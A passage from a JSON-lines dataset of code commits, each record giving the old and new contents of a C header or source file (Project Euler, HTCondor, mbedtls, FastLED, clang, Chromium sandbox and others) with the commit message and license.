/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,kaknikhil\/gpdb"}
{"commit":"4cc26f6ae19b096bae1ec8309671bb415997786c","old_file":"c_solutions_1-10\/Euler_1.c","new_file":"c_solutions_1-10\/Euler_1.c","old_contents":"#include <stdio.h>\n#include <time.h>\n\n\nint multiples_three_five(int limit) \n{\n    long total = 0;\n\n    int i;\n    for (i=1; i < limit; i++)\n        total += i % 3 == 0 || i % 5 == 0 ? i : 0;\n    return total;\n}\n\nint main(void) \n{\n    clock_t start, stop;\n\n    start = clock();\n    long ans = multiples_three_five(1000);\n\n    printf (\"Answer: %ld\\n\", ans); \n\n    stop = clock(); \n    printf (\"Time: %f\\n\", ((float)stop - (float)start) \/ CLOCKS_PER_SEC);\n\n    return 0;\n}\n    \n","new_contents":"#include <time.h>\n#include <stdio.h>\n\n#define NANO 10000000000\n\n\nint multiples_three_five(int limit) \n{\n    long total = 0;\n\n    for (int i=1; i < limit; i++)\n        total += i % 3 == 0 || i % 5 == 0 ? i : 0;\n\n    return total;\n}\n\nint main(void) \n{\n    struct timespec start;\n    clock_gettime(CLOCK_REALTIME, &start);\n    double start_time = ((float) start.tv_sec) + ((float) start.tv_nsec) \/ NANO; \n\n    long ans = multiples_three_five(1000);\n    printf (\"Answer: %ld\\n\", ans); \n\n    struct timespec stop;\n    clock_gettime(CLOCK_REALTIME, &stop);\n    double stop_time = ((float) stop.tv_sec) + ((float) stop.tv_nsec) \/ NANO;\n\n    printf (\"Time: %.8f\\n\", stop_time - start_time);\n\n    return 0;\n}\n    \n","subject":"Use WALL time for timer","message":"Use WALL time for timer\n","lang":"C","license":"mit","repos":"tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler"}
{"commit":"65931e9f800a97f9fa8af4aa8c26b2ed04ed8eb2","old_file":"src\/condor_includes\/condor_collector.h","new_file":"src\/condor_includes\/condor_collector.h","old_contents":"#ifndef __COLLECTOR_H__\n#define __COLLECTOR_H__\n\n#include \"sched.h\"\n\nenum AdTypes\n{\n    STARTD_AD,\n    SCHEDD_AD,\n    MASTER_AD,\n    GATEWAY_AD,\n    CKPT_SRVR_AD,\n\n    NUM_AD_TYPES\n};\n\n\/\/ collector commands\nconst int UPDATE_STARTD_AD       = 0;\nconst int UPDATE_SCHEDD_AD       = 1;\nconst int UPDATE_MASTER_AD       = 2;\nconst int UPDATE_GATEWAY_AD      = 3;\nconst int UPDATE_CKPT_SRVR_AD  = 4;\n\nconst int QUERY_STARTD_ADS       = 5;\nconst int QUERY_SCHEDD_ADS       = 6;\nconst int QUERY_MASTER_ADS       = 7;\nconst int QUERY_GATEWAY_ADS      = 8;\nconst int QUERY_CKPT_SRVR_ADS  = 9;\n\n#endif \/\/ __COLLECTOR_H__\n\n\n","new_contents":"#ifndef __COLLECTOR_H__\n#define __COLLECTOR_H__\n\n#include \"sched.h\"\n\nenum AdTypes\n{\n    STARTD_AD,\n    SCHEDD_AD,\n    MASTER_AD,\n    GATEWAY_AD,\n    CKPT_SRVR_AD,\n\n    NUM_AD_TYPES\n};\n\n#include \"condor_commands.h\"   \/\/ collector commands\n\n#endif \/\/ __COLLECTOR_H__\n\n\n","subject":"Use condor_commands.h instead of defining commands here.","message":"Use condor_commands.h instead of defining commands here.\n","lang":"C","license":"apache-2.0","repos":"clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor"}
{"commit":"d4b91732699737c33c64d949015e0f26bb5f22f2","old_file":"doxygen\/input\/doc_hashing.h","new_file":"doxygen\/input\/doc_hashing.h","old_contents":"\/**\n * @file\n * Hashing module documentation file.\n *\/\n\n\/**\n * @addtogroup hashing_module Hashing module\n *\n * The Hashing module provides one-way hashing functions. Such functions can be\n * used for creating a hash message authentication code (HMAC) when sending a\n * message. Such a HMAC can be used in combination with a private key\n * for authentication, which is a message integrity control.\n *\n * All hash algorithms can be accessed via the generic MD layer (see\n * \\c md_init_ctx())\n *\n * The following hashing-algorithms are provided:\n * - MD2, MD4, MD5 128-bit one-way hash functions by Ron Rivest (see\n *   \\c md2_hmac(), \\c md4_hmac() and \\c md5_hmac()).\n * - SHA-1, SHA-256, SHA-384\/512 160-bit or more one-way hash functions by\n *   NIST and NSA (see\\c sha1_hmac(), \\c sha256_hmac() and \\c sha512_hmac()).\n *\n * This module provides one-way hashing which can be used for authentication.\n *\/\n","new_contents":"\/**\n * @file\n * Hashing module documentation file.\n *\/\n\n\/**\n * @addtogroup hashing_module Hashing module\n *\n * The Hashing module provides one-way hashing functions. Such functions can be\n * used for creating a hash message authentication code (HMAC) when sending a\n * message. Such a HMAC can be used in combination with a private key\n * for authentication, which is a message integrity control.\n *\n * All hash algorithms can be accessed via the generic MD layer (see\n * \\c md_init_ctx())\n *\n * The following hashing-algorithms are provided:\n * - MD2, MD4, MD5 128-bit one-way hash functions by Ron Rivest.\n * - SHA-1, SHA-256, SHA-384\/512 160-bit or more one-way hash functions by\n *   NIST and NSA.\n *\n * This module provides one-way hashing which can be used for authentication.\n *\/\n","subject":"Update doxygen documentation on HMAC","message":"Update doxygen documentation on HMAC\n","lang":"C","license":"apache-2.0","repos":"NXPmicro\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,Mbed-TLS\/mbedtls,NXPmicro\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,NXPmicro\/mbedtls,ARMmbed\/mbedtls,NXPmicro\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls"}
{"commit":"b0f91c40ff3f623c03b1ecbe5f929d3ef0b1a063","old_file":"as\/target\/x86\/proc.h","new_file":"as\/target\/x86\/proc.h","old_contents":"\nenum args {\n        AIMM = 1,\n\n        AIMM8,\n        AIMM16,\n        AIMM32,\n        AIMM64,\n\n\tAREG_AX,\n\tAREG_AL,\n\tAREG_AH,\n\tAREG_EAX,\n\n\tAREG_BC,\n\tAREG_BL,\n\tAREG_BH,\n\tAREG_EBX,\n\n\tAREG_CX,\n\tAREG_CL,\n\tAREG_CH,\n\tAREG_ECX,\n\n\tAREG_DX,\n\tAREG_DL,\n\tAREG_DH,\n\tAREG_EDX,\n\n\tAREG_SI,\n\tAREG_DI,\n\n\tAREG_SP,\n\tAREG_ESP,\n\tAREG_EBP,\n\n        AREP, \n};\n","new_contents":"\nenum args {\n        AIMM = 1,\n\n        AIMM8,\n        AIMM16,\n        AIMM32,\n        AIMM64,\n\n\tAREG_CS,\n\tAREG_DS,\n\tAREG_SS,\n\tAREG_ES\n\tAREG_FS,\n\tAREG_GS,\n\n\tAREG_EFLAGS,\n\n\tAREG_AX,\n\tAREG_AL,\n\tAREG_AH,\n\tAREG_EAX,\n\tAREG_RAX,\n\n\tAREG_BX,\n\tAREG_BL,\n\tAREG_BH,\n\tAREG_EBX,\n\tAREG_RBX,\n\n\tAREG_CX,\n\tAREG_CL,\n\tAREG_CH,\n\tAREG_ECX,\n\tAREG_RCX,\n\n\tAREG_DX,\n\tAREG_DL,\n\tAREG_DH,\n\tAREG_EDX,\n\tAREG_RDX,\n\n\tAREG_SI,\n\tAREG_DI,\n\n\tAREG_SP,\n\tAREG_ESP,\n\tAREG_RSP,\n\n\tAREG_BP,\n\tAREG_EBP,\n\tAREG_RBP,\n\n        AREP, \n};\n","subject":"Extend list of intel registers","message":"[as] Extend list of intel registers\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"32165dbeaa2f8bac59051b6dc370d478aadc2633","old_file":"pixeltypes.h","new_file":"pixeltypes.h","old_contents":"#ifndef __INC_PIXELS_H\n#define __INC_PIXELS_H\n\n#include <stdint.h>\n\n\nstruct CRGB {\n\tunion {\n\t\tstruct { uint8_t r; uint8_t g; uint8_t b; };\n\t\tuint8_t raw[3];\n\t};\n};\n\n#ifdef SUPPORT_ARGB\nstruct CARGB {\n\tunion {\n\t\tstruct { uint8_t a; uint8_t g; uint8_t r; uint8_t b; };\n\t\tuint8_t raw[4];\n\t\tuint32_t all32;\n\t};\n};\n\n#endif\n\n\nstruct CHSV {\n    union {\n        uint8_t hue;\n        uint8_t h; };\n    union {\n        uint8_t saturation;\n        uint8_t sat;\n        uint8_t s; };\n    union {\n        uint8_t value;\n        uint8_t val;\n        uint8_t v; };\n};\n\n\n\/\/ Define RGB orderings\nenum EOrder {\n\tRGB=0012,\n\tRBG=0021,\n\tGRB=0102,\n\tGBR=0120,\n\tBRG=0201,\n\tBGR=0210\n};\n\n\n#endif\n","new_contents":"#ifndef __INC_PIXELS_H\n#define __INC_PIXELS_H\n\n#include <stdint.h>\n\n\nstruct CRGB {\n\tunion {\n\t\tstruct { uint8_t r; uint8_t g; uint8_t b; };\n\t\tuint8_t raw[3];\n\t};\n\tinline uint8_t& operator[] (uint8_t x) __attribute__((always_inline)) { return raw[x]; }\n};\n\n#ifdef SUPPORT_ARGB\nstruct CARGB {\n\tunion {\n\t\tstruct { uint8_t a; uint8_t g; uint8_t r; uint8_t b; };\n\t\tuint8_t raw[4];\n\t\tuint32_t all32;\n\t};\n};\n\n#endif\n\n\nstruct CHSV {\n\tunion { \n\t\tstruct {\n\t\t    union {\n\t\t        uint8_t hue;\n\t\t        uint8_t h; };\n\t\t    union {\n\t\t        uint8_t saturation;\n\t\t        uint8_t sat;\n\t\t        uint8_t s; };\n\t\t    union {\n\t\t        uint8_t value;\n\t\t        uint8_t val;\n\t\t        uint8_t v; };\n\t\t};\n\t\tuint8_t raw[3];\n\t};\n\tinline uint8_t& operator[](uint8_t x) __attribute__((always_inline)) { return raw[x]; }\n\n};\n\n\n\/\/ Define RGB orderings\nenum EOrder {\n\tRGB=0012,\n\tRBG=0021,\n\tGRB=0102,\n\tGBR=0120,\n\tBRG=0201,\n\tBGR=0210\n};\n\n\n#endif\n","subject":"Add raw array access to hsv structure, and operator[] operations to hsv and rgb classes","message":"Add raw array access to hsv structure, and operator[] operations to hsv and rgb classes\n","lang":"C","license":"mit","repos":"liyanage\/FastLED,eshkrab\/FastLED-esp32,MattDurr\/FastLED,NicoHood\/FastLED,PaulStoffregen\/FastLED,corbinstreehouse\/FastLED,remspoor\/FastLED,NicoHood\/FastLED,felixLam\/FastLED,kcouck\/FastLED,neographophobic\/FastLED,liyanage\/FastLED,remspoor\/FastLED,tullo-x86\/FastLED,corbinstreehouse\/FastLED,MattDurr\/FastLED,yaneexy\/FastLED,FastLED\/FastLED,wsilverio\/FastLED,neographophobic\/FastLED,wilhelmryan\/FastLED,MiketheChap\/FastLED,wilhelmryan\/FastLED,MiketheChap\/FastLED,eshkrab\/FastLED-esp32,wsilverio\/FastLED,yaneexy\/FastLED,ryankenney\/FastLED,kcouck\/FastLED,ryankenney\/FastLED,FastLED\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,felixLam\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,tullo-x86\/FastLED"}
{"commit":"9dd93ba12825a3aa6af1bfebf40a60292992d971","old_file":"creator\/plugins\/docks\/componentsdock\/componentsdock.h","new_file":"creator\/plugins\/docks\/componentsdock\/componentsdock.h","old_contents":"\/*\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef GLUON_CREATOR_COMPONENTSDOCK_H\n#define GLUON_CREATOR_COMPONENTSDOCK_H\n\n#include <..\/..\/home\/ahiemstra\/Projects\/gluon\/creator\/lib\/widgets\/dock.h>\n\n\nnamespace Gluon {\n\nnamespace Creator {\n\nclass ComponentsDock : public Gluon::Creator::Dock\n{\n    public:\n        ComponentsDock(const QString& title, QWidget* parent = 0, Qt::WindowFlags flags = 0);\n        ~ComponentsDock();\n\n        void setSelection(Gluon::GluonObject* obj = 0);\n        QAbstractItemView* view();\n        QAbstractItemModel* model();\n\n    private:\n        class ComponentsDockPrivate;\n        ComponentsDockPrivate* d;\n};\n\n}\n\n}\n\n#endif \/\/ GLUON_CREATOR_COMPONENTSDOCK_H\n","new_contents":"\/*\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef GLUON_CREATOR_COMPONENTSDOCK_H\n#define GLUON_CREATOR_COMPONENTSDOCK_H\n\n#include \"widgets\/dock.h\"\n\n\nnamespace Gluon {\n\nnamespace Creator {\n\nclass ComponentsDock : public Gluon::Creator::Dock\n{\n    public:\n        ComponentsDock(const QString& title, QWidget* parent = 0, Qt::WindowFlags flags = 0);\n        ~ComponentsDock();\n\n        void setSelection(Gluon::GluonObject* obj = 0);\n        QAbstractItemView* view();\n        QAbstractItemModel* model();\n\n    private:\n        class ComponentsDockPrivate;\n        ComponentsDockPrivate* d;\n};\n\n}\n\n}\n\n#endif \/\/ GLUON_CREATOR_COMPONENTSDOCK_H\n","subject":"Make creator compile without being on ahiemstra's machine ;)","message":"Make creator compile without being on ahiemstra's machine ;)\n","lang":"C","license":"lgpl-2.1","repos":"cgaebel\/gluon,KDE\/gluon,pranavrc\/example-gluon,pranavrc\/example-gluon,pranavrc\/example-gluon,pranavrc\/example-gluon,KDE\/gluon,KDE\/gluon,cgaebel\/gluon,KDE\/gluon,cgaebel\/gluon,cgaebel\/gluon"}
{"commit":"cd4c34d2a078b78ca31fd3bc5cbb210123dce89d","old_file":"test\/CodeGen\/struct-passing.c","new_file":"test\/CodeGen\/struct-passing.c","old_contents":"\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -emit-llvm -o %t %s\n\/\/ RUN: grep 'declare i32 @f0() readnone$' %t\n\/\/ RUN: grep 'declare i32 @f1() readonly$' %t\n\/\/ RUN: grep 'declare void @f2(.* sret)$' %t\n\/\/ RUN: grep 'declare void @f3(.* sret)$' %t\n\/\/ RUN: grep 'declare void @f4(.* byval)$' %t\n\/\/ RUN: grep 'declare void @f5(.* byval)$' %t\n\/\/ PR3835\n\ntypedef int T0;\ntypedef struct { int a[16]; } T1;\n\nT0 __attribute__((const)) f0(void);\nT0 __attribute__((pure)) f1(void);\nT1 __attribute__((const)) f2(void);\nT1 __attribute__((pure)) f3(void);\nvoid __attribute__((const)) f4(T1 a);\nvoid __attribute__((pure)) f5(T1 a);\n\nvoid *ps[] = { f0, f1, f2, f3, f4, f5 };\n","new_contents":"\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -emit-llvm -o %t %s\n\/\/ RUN: grep 'declare i32 @f0() readnone ;' %t\n\/\/ RUN: grep 'declare i32 @f1() readonly ;' %t\n\/\/ RUN: grep 'declare void @f2(.* sret) ;' %t\n\/\/ RUN: grep 'declare void @f3(.* sret) ;' %t\n\/\/ RUN: grep 'declare void @f4(.* byval) ;' %t\n\/\/ RUN: grep 'declare void @f5(.* byval) ;' %t\n\/\/ PR3835\n\ntypedef int T0;\ntypedef struct { int a[16]; } T1;\n\nT0 __attribute__((const)) f0(void);\nT0 __attribute__((pure)) f1(void);\nT1 __attribute__((const)) f2(void);\nT1 __attribute__((pure)) f3(void);\nvoid __attribute__((const)) f4(T1 a);\nvoid __attribute__((pure)) f5(T1 a);\n\nvoid *ps[] = { f0, f1, f2, f3, f4, f5 };\n","subject":"Correct this test for the fact that the number of uses is now printed in a comment.","message":"Correct this test for the fact that the number of uses is now printed\nin a comment.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@112813 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"6c915905f626c257222181886b7420a9a32d3360","old_file":"src\/vast\/aliases.h","new_file":"src\/vast\/aliases.h","old_contents":"#ifndef VAST_ALIASES_H\n#define VAST_ALIASES_H\n\n#include <cstdint>\n#include <limits>\n\nnamespace vast {\n\n\/\/\/ Uniquely identifies a VAST event.\nusing event_id = uint64_t;\n\n\/\/\/ The smallest possible event ID.\nstatic constexpr event_id min_event_id = 1;\n\n\/\/\/ The largest possible event ID.\nstatic constexpr event_id max_event_id =\n  std::numeric_limits<event_id>::max() - 1;\n\n\/\/\/ Uniquely identifies a VAST type.\nusing type_id = uint64_t;\n\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_ALIASES_H\n#define VAST_ALIASES_H\n\n#include <cstdint>\n#include <limits>\n\nnamespace vast {\n\n\/\/\/ Uniquely identifies a VAST event.\nusing event_id = uint64_t;\n\n\/\/\/ The invalid event ID.\nstatic constexpr event_id invalid_event_id = 0;\n\n\/\/\/ The smallest possible event ID.\nstatic constexpr event_id min_event_id = 1;\n\n\/\/\/ The largest possible event ID.\nstatic constexpr event_id max_event_id =\n  std::numeric_limits<event_id>::max() - 1;\n\n\/\/\/ Uniquely identifies a VAST type.\nusing type_id = uint64_t;\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Add alias for invalid event ID.","message":"Add alias for invalid event ID.\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/vast,pmos69\/vast,mavam\/vast,mavam\/vast,pmos69\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast"}
{"commit":"b90c3bb659a1e0e1f6d1f7715ba96614f25543d3","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       1\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2013\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2013\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Change client version number to 1.2.0.0","message":"Change client version number to 1.2.0.0\n","lang":"C","license":"mit","repos":"TigerCoinDev\/Tigercoin,TigerCoinDev\/Tigercoin,TigerCoinDev\/Tigercoin,TigerCoinDev\/Tigercoin,TigerCoinDev\/Tigercoin"}
{"commit":"ee8e471d1b658635f9873faa1b2b5de41770216f","old_file":"ghighlighter\/gh-datastore.h","new_file":"ghighlighter\/gh-datastore.h","old_contents":"#ifndef GH_DATASTORE_H\n#define GH_DATASTORE_H\n\n#include <sqlite3.h>\n\nstruct reading\n{\n  int   id;\n  char *title;\n  int   readmill_id;\n  int   total_pages;\n};\n\nsqlite3 *gh_datastore_open_db (char *data_dir);\n\nint gh_datastore_get_db_version (sqlite3 *db);\nvoid gh_datastore_set_db_version (sqlite3 *db, int version);\n\n#endif\n","new_contents":"#ifndef GH_DATASTORE_H\n#define GH_DATASTORE_H\n\n#include <sqlite3.h>\n\ntypedef struct\n{\n  int   id;\n  char *title;\n  int   readmill_id;\n  int   total_pages;\n} Reading;\n\nsqlite3 *gh_datastore_open_db (char *data_dir);\n\nint gh_datastore_get_db_version (sqlite3 *db);\nvoid gh_datastore_set_db_version (sqlite3 *db, int version);\n\n#endif\n","subject":"Use typedef for reading struct","message":"Use typedef for reading struct","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"d8d27dc450b5862afa2fbf29579efd70442d0479","old_file":"sandbox\/linux\/services\/linux_syscalls.h","new_file":"sandbox\/linux\/services\/linux_syscalls.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This header will be kept up to date so that we can compile system-call\n\/\/ policies even when system headers are old.\n\/\/ System call numbers are accessible through __NR_syscall_name.\n\n#ifndef SANDBOX_LINUX_SERVICES_LINUX_SYSCALLS_H_\n#define SANDBOX_LINUX_SERVICES_LINUX_SYSCALLS_H_\n\n#if defined(__x86_64__)\n#include \"sandbox\/linux\/services\/x86_64_linux_syscalls.h\"\n#endif\n\n#if defined(__i386__)\n#include \"sandbox\/linux\/services\/x86_32_linux_syscalls.h\"\n#endif\n\n#if defined(__arm__) && defined(__ARM_EABI__)\n#include \"sandbox\/linux\/services\/arm_linux_syscalls.h\"\n#endif\n\n#if defined(__mips__)\n#include \"sandbox\/linux\/services\/mips_linux_syscalls.h\"\n#endif\n\n#endif  \/\/ SANDBOX_LINUX_SERVICES_LINUX_SYSCALLS_H_\n\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This header will be kept up to date so that we can compile system-call\n\/\/ policies even when system headers are old.\n\/\/ System call numbers are accessible through __NR_syscall_name.\n\n#ifndef SANDBOX_LINUX_SERVICES_LINUX_SYSCALLS_H_\n#define SANDBOX_LINUX_SERVICES_LINUX_SYSCALLS_H_\n\n#if defined(__x86_64__)\n#include \"sandbox\/linux\/services\/x86_64_linux_syscalls.h\"\n#endif\n\n#if defined(__i386__)\n#include \"sandbox\/linux\/services\/x86_32_linux_syscalls.h\"\n#endif\n\n#if defined(__arm__) && defined(__ARM_EABI__)\n#include \"sandbox\/linux\/services\/arm_linux_syscalls.h\"\n#endif\n\n#if defined(__mips__) && defined(_ABIO32)\n#include \"sandbox\/linux\/services\/mips_linux_syscalls.h\"\n#endif\n\n#endif  \/\/ SANDBOX_LINUX_SERVICES_LINUX_SYSCALLS_H_\n\n","subject":"Add ABI check for syscall numbers definitions","message":"[MIPS] Add ABI check for syscall numbers definitions\n\nIn file mips_linux_syscalls.h are definitions of syscall\nnumbers for O32 ABI, so this check is needed in order for\nMips architectures with other ABIs to work properly.\n\nBUG=400684\nTEST=compile sandbox_linux_unittest for MIPS32 and MIPS64\n\nReview URL: https:\/\/codereview.chromium.org\/446213003\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@288252 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ondra-novak\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,littlstar\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,littlstar\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk"}
{"commit":"0b3285c047b003f80ffbecdc86add24a6b6de51c","old_file":"src\/include\/gpugrid.h","new_file":"src\/include\/gpugrid.h","old_contents":"","new_contents":"#ifndef GRIDINF_INCLUDE_GPUGRID_H\n#define GRIDINF_INCLUDE_GPUGRID_H\n\n#include \"matdim.h\"\n\nnamespace ginf {\n\t\/\/ Mirrors the Grid class, but uses an implementation that is more suitable for GPUs.\n\ttemplate <typename T>\n\tclass GpuGrid {\n\tpublic:\n\t\tint smModel; \/\/ The smoothness cost model\n\t\tMatDim dimDt, dimSm; \/\/ Dimensions of cost matrices\n\t\tT *dtCosts; \/\/ Data cost matrix\n\t\tT *smCosts; \/\/ Smoothness cost matrix\n\n\/\/ Declare this functions only when compiling with nvcc\n#ifdef __CUDACC__\n\t\t\/\/ Get width\/height\n\t\t__device__ int getWidth() {\n\t\t\treturn dimDt.x;\t\n\t\t}\n\n\t\t__device__ int getHeight() {\n\t\t\treturn dimDt.y;\t\t\n\t\t}\n\n\t\t\/\/ Get total number of nodes\n\t\t__device__ int getNumNodes() {\n\t\t\treturn dimDt.x * dimDt.y;\t\t\n\t\t}\n\n\t\t\/\/ Get number of labels\n\t\t__device__ int getNumLabels() {\n\t\t\treturn dimDt.z;\t\t\n\t\t}\n\n\t\t\/\/ Get the cost of labeling (x, y) with label fp\n\t\t__device__ T getDataCost(int x, int y, int fp) {\n\t\t\treturn dtCosts[dimDt.idx(x, y, fp)];\n\t\t}\n\n\t\t\/\/ Get the smoothness cost V(fp, fq)\n\t\t__device__ T getSmoothnessCost(int fp, int fq) {\n\t\t\treturn smCosts[dimSm.idx(fp, fq)];\t\t\n\t\t}\n\n\t\t\/\/ Returns the cost of a labeling for a particular pixel\n\t\t__device__ T getLabelingCost(int *f, int x, int y, int label) {\n\t\t\tT totalCost = getDataCost(x, y, label);\n\t\t\tfor (int d = 0; d < GINF_NUM_DIR; d++) {\n\t\t\t\tint nx = x + dDirX[d], ny = y + dDirY[d];\n\t\t\t\tif (dimDt.isValid(nx, ny)) {\n\t\t\t\t\ttotalCost += getSmoothnessCost(label, (int)f[dimDt.idx(nx, ny)]);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn totalCost;\n\t\t}\n#endif\n\t};\n\t\n\t\/\/ Explicit instantiations for template classes\n\ttemplate class GpuGrid<int>;\n\ttemplate class GpuGrid<float>;\n}\n\n#endif\n","subject":"Add class for representing a Grid on the device","message":"Add class for representing a Grid on the device\n","lang":"C","license":"mit","repos":"evilncrazy\/GridInfCuda,evilncrazy\/GridInfCuda"}
